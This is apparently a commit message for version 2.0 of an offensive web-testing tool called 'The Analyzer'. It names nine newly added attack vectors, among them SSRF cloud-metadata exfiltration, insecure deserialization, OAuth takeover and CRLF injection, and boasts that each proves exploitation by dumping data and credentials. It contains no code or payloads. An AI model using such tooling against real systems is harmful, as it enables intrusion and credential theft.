drjones d2bc52905d The Analyzer v2.0 — 30 attack vectors, 9 new exploiters
New vectors added:
- 22: SSRF Proof — cloud metadata exfiltration (CRITICAL)
- 23: Prototype Pollution — Node.js client/server (HIGH)
- 24: WebSocket Hijack — WS origin bypass + injection (HIGH)
- 25: Mass Assignment — protected field modification (HIGH)
- 26: HTTP Parameter Pollution — WAF bypass (HIGH)
- 27: Insecure Deserialization — PHP/Java/Node (CRITICAL)
- 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL)
- 29: Web Cache Poisoning — unkeyed header injection (HIGH)
- 30: CRLF Injection — HTTP response splitting (CRITICAL)

All vectors PROVE exploitation by dumping data/credentials,
not just detecting config issues.
